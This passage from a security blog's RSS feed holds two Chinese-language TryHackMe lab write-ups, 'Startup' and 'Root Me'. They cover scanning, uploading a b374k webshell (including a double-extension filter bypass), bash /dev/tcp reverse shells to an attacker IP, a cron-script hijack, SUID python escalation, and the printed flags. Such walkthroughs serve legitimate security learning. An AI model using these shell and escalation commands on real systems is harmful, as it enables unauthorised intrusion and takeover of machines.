&lt;/ul&gt;</description></item><item><title>Startup (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/24/startup-try-hack-me-writeup/</link><pubDate>Sat, 24 Jul 2021 13:22:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/24/startup-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/startup"&gt;https://tryhackme.com/room/startup&lt;/a&gt;&lt;br&gt;
Target IP : 10.10.37.216&lt;/p&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;老規矩 nmap 起手式&lt;code&gt;nmap -A 10.10.37.216&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cf5df-gD14ZAk.png"&gt;&lt;/li&gt;
&lt;li&gt;有開21 FTPnmap 說 Anonymous allow22 SSH80 網頁掃網頁路徑- &lt;code&gt;python3 dirsearch.py -u http://10.10.37.216/ -e all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可能有用的路徑&lt;code&gt;http://10.10.37.216/files/&lt;/code&gt;裡面有一段話，跟 meme&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8f801-sQxCqzk.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ftp"&gt;FTP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ftp 10.10.37.216&lt;/code&gt;帳號 : &lt;code&gt;Anonymous&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : 空白&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/63152-SyLMZqo.png"&gt;&lt;/li&gt;
&lt;li&gt;發現路徑就是網頁伺服器的files嘗試上傳檔案- 根目錄(網頁的 &lt;code&gt;files&lt;/code&gt;)&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/405fc-1bxN7s9.png"&gt;&lt;/li&gt;
&lt;li&gt;沒有權限ftp 目錄- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39cfa-uQql93e.png"&gt;&lt;/li&gt;
&lt;li&gt;有權限ㄌ!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="shell"&gt;Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;訪問 &lt;code&gt;http://10.10.37.216/files/ftp/b374k.php&lt;/code&gt;使用預設密碼轉用 Reverse Shell- 本地端準備 &lt;code&gt;nc -vlk 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在 Terminal 輸入 &lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.14.7.198/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;切換為交互式 shell- &lt;code&gt;python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="亂逛系統"&gt;亂逛系統&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;根目錄底下&lt;code&gt;recipe.txt``Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;問題 : What is the secret spicy soup recipe?&lt;/li&gt;
&lt;li&gt;答案 : &lt;code&gt;love&lt;/code&gt;incidents 資料夾- 裡面有 suspicious.pcapng&lt;/li&gt;
&lt;li&gt;透過 webshell 把他載下來備用使用者相關- &lt;code&gt;/home&lt;/code&gt; 底下有 &lt;code&gt;lennie&lt;/code&gt; 使用者&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="解析-pcap"&gt;解析 pcap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察第 45 個封包 follow TCP stream可以看到 webshell 的紀錄&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6578a-QWan7Ig.png"&gt;&lt;/li&gt;
&lt;li&gt;其中輸入了密碼 &lt;code&gt;c4ntg3t3n0ughsp1c3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="嘗試登入使用者"&gt;嘗試登入使用者&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;回到 reverse shell 輸入 &lt;code&gt;su lennie&lt;/code&gt; 並搭配上述密碼&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1aaa3-VIqV6QA.png"&gt;&lt;/li&gt;
&lt;li&gt;登入成功!!取得 user.txt- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3e0a9-GjOqlxS.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{03ce3d619b80ccbfb3b7fc81e46c0e79}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="研究提權"&gt;研究提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在使用者資料夾裡找到 scripts 資料夾&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e9c7-eKvbNwQ.png"&gt;&lt;/li&gt;
&lt;li&gt;兩個檔案權限都是 root，但我們可以進行讀取&lt;/li&gt;
&lt;li&gt;&lt;code&gt;planner.sh&lt;/code&gt;看起來會把環境變數 $LIST 給寫到 startup_list.txt接著呼叫 &lt;code&gt;/etc/print.sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$LIST&lt;/span&gt; &amp;gt; /home/lennie/scripts/startup_list.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/print.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;觀察 &lt;code&gt;/etc/print.sh&lt;/code&gt; 可以發現我們有 write 的權限&lt;code&gt;-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh&lt;/code&gt;在 &lt;code&gt;print.sh&lt;/code&gt; 下面加上一行 reverse shell- &lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.14.7.198/8778 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt;&amp;gt; /etc/print.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;當然這邊的 port 要跟目前的不同，然後本地開 &lt;code&gt;nc -vlk 8778&lt;/code&gt; 來聽&lt;/li&gt;
&lt;li&gt;然後連指令都還沒執行，就莫名地拿到 root ㄌ ?__?&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a2a1b-6BoTO1i.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{f963aaa6a430f210222158ae15c3d76d}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="為什麼誤打誤撞拿到-root-ㄌ還是要來研究一下"&gt;為什麼誤打誤撞拿到 root ㄌ，還是要來研究一下&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;跑 Linpeas準備 &lt;code&gt;linpeas.sh&lt;/code&gt; 在本地&lt;code&gt;python3 -m http.server&lt;/code&gt;回到使用者端- &lt;code&gt;wget 10.14.7.198:8000/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash linpeas.sh | tee meow.txt&lt;/code&gt;看不出什麼結果使用 Pspy- 用上述同樣方法載到被駭機觀察&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4364d-elNkToE.png"&gt;&lt;/li&gt;
&lt;li&gt;發現每分鐘都會用 UID=0 執行一次 &lt;code&gt;planner.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以應該是一個 root 的 cron job進入root後- 輸入 &lt;code&gt;crontab -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ed111-AEcjHhe.png"&gt;&lt;/li&gt;
&lt;li&gt;就能看到這條 cron job 了我還是覺得這一段有一點點通靈 QQ&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Root Me (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/24/root-me-try-hack-me-writeup/</link><pubDate>Sat, 24 Jul 2021 13:15:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/24/root-me-try-hack-me-writeup/</guid><description>&lt;p&gt;題目網址 : &lt;a href="https://tryhackme.com/room/rrootme"&gt;https://tryhackme.com/room/rrootme&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;目標IP : 10.10.233.205&lt;/p&gt;
&lt;h2 id="scanning"&gt;Scanning&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 nmap&lt;code&gt;nmap -A 10.10.233.205&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/86591-mLaLomQ.png"&gt;22 : SSH7.6p1 有枚舉的漏洞 CVE-2018-15473&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sriramoffcl/OpenSSH-7.6p1-Exploit-py-/blob/master/45233.py80"&gt;https://github.com/sriramoffcl/OpenSSH-7.6p1-Exploit-py-/blob/master/45233.py80&lt;/a&gt; : Apache- Apache httpd 2.4.29nmap 掃描的同一時間，先打開網頁看看- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7f376-NejdpQC.png"&gt;&lt;/li&gt;
&lt;li&gt;網頁起手式 dirsearch&lt;code&gt;python3 dirsearch.py -u http://10.10.233.205/ -e all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看起來可能會有趣的路徑&lt;code&gt;/panel/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/uploads/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="上傳-webshell"&gt;上傳 webshell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/panel/&lt;/code&gt; 可以上傳檔案&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d0c94-QOZqOa5.png"&gt;&lt;/li&gt;
&lt;li&gt;用 Wappalyzer 可以確定他是 PHP&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/808aa-awe80bs.png"&gt;上傳個 b374k.php- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/515ee-b6tqtn1.png"&gt;&lt;/li&gt;
&lt;li&gt;會噴錯，Google翻譯說 &lt;code&gt;PHP是不允許的！&lt;/code&gt; (葡萄牙文)使用 php 副檔名解析漏洞測試- Apache 1.x 2.x 文件解析特性BJ4測試檔名 &lt;code&gt;b374k.php.aaa&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2ce91-ZIsfjUj.png"&gt;Google 翻譯 :&lt;code&gt;文件上傳成功！&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用-webshell"&gt;使用 Webshell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;點下面的 &lt;code&gt;Veja!&lt;/code&gt; 會跳轉到 &lt;code&gt;http://10.10.233.205/uploads/b374k.php.aaa&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/94b34-QYfQaPb.png"&gt;&lt;/li&gt;
&lt;li&gt;使用預設密碼就能進入 shell&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="戳入-reverse-shell"&gt;戳入 Reverse Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Webshell 滿好用的，但是Reverse shell用起來更爽確認攻擊機 ip 為 10.14.7.198終端機輸入 &lt;code&gt;nc -vlk 7877&lt;/code&gt;webshell 的 Terminal 輸入- &lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.14.7.198/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;即可順利連上 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f3495-iKRzVfo.png"&gt;輸入指令讓他變得更 interactive 一點- &lt;code&gt;python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="在電腦裡面逛大街"&gt;在電腦裡面逛大街&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;user.txt&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e6c32-jxS368J.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{y0u_g0t_a_sh3ll&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="設法提權"&gt;設法提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用內建的上傳功能上傳 LinEnum.sh開權限 &lt;code&gt;chmod +x LinEnum.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;執行，並存到檔案 &lt;code&gt;./LinEnum.sh | tee meow.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;基本上優先注意紅色、橘色的東西&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9786b-ikR24Co.png"&gt;找到有趣ㄉ東西!! &lt;code&gt;[+] Possibly interesting SUID files: -rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python&lt;/code&gt;- 也就是說 &lt;code&gt;/usr/bin/python&lt;/code&gt; 可以用 SUID 執行&lt;/li&gt;
&lt;li&gt;到 &lt;a href="https://gtfobins.github.io/"&gt;GTFOBins&lt;/a&gt; 找 Python 有 SUID 的提權方法&lt;code&gt;python -c 'import os; os.execl(&amp;quot;/bin/sh&amp;quot;, &amp;quot;sh&amp;quot;, &amp;quot;-p&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權成功"&gt;提權成功!!&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/78e38-jeFvVXw.png"&gt;&lt;/li&gt;
&lt;li&gt;Flag : &lt;code&gt;THM{pr1v1l3g3_3sc4l4t10n}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>About</title><link>http://blog.stevenyu.tw/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>http://blog.stevenyu.tw/about/</guid><description>&lt;p&gt;喵&lt;/p&gt;</description></item></channel></rss>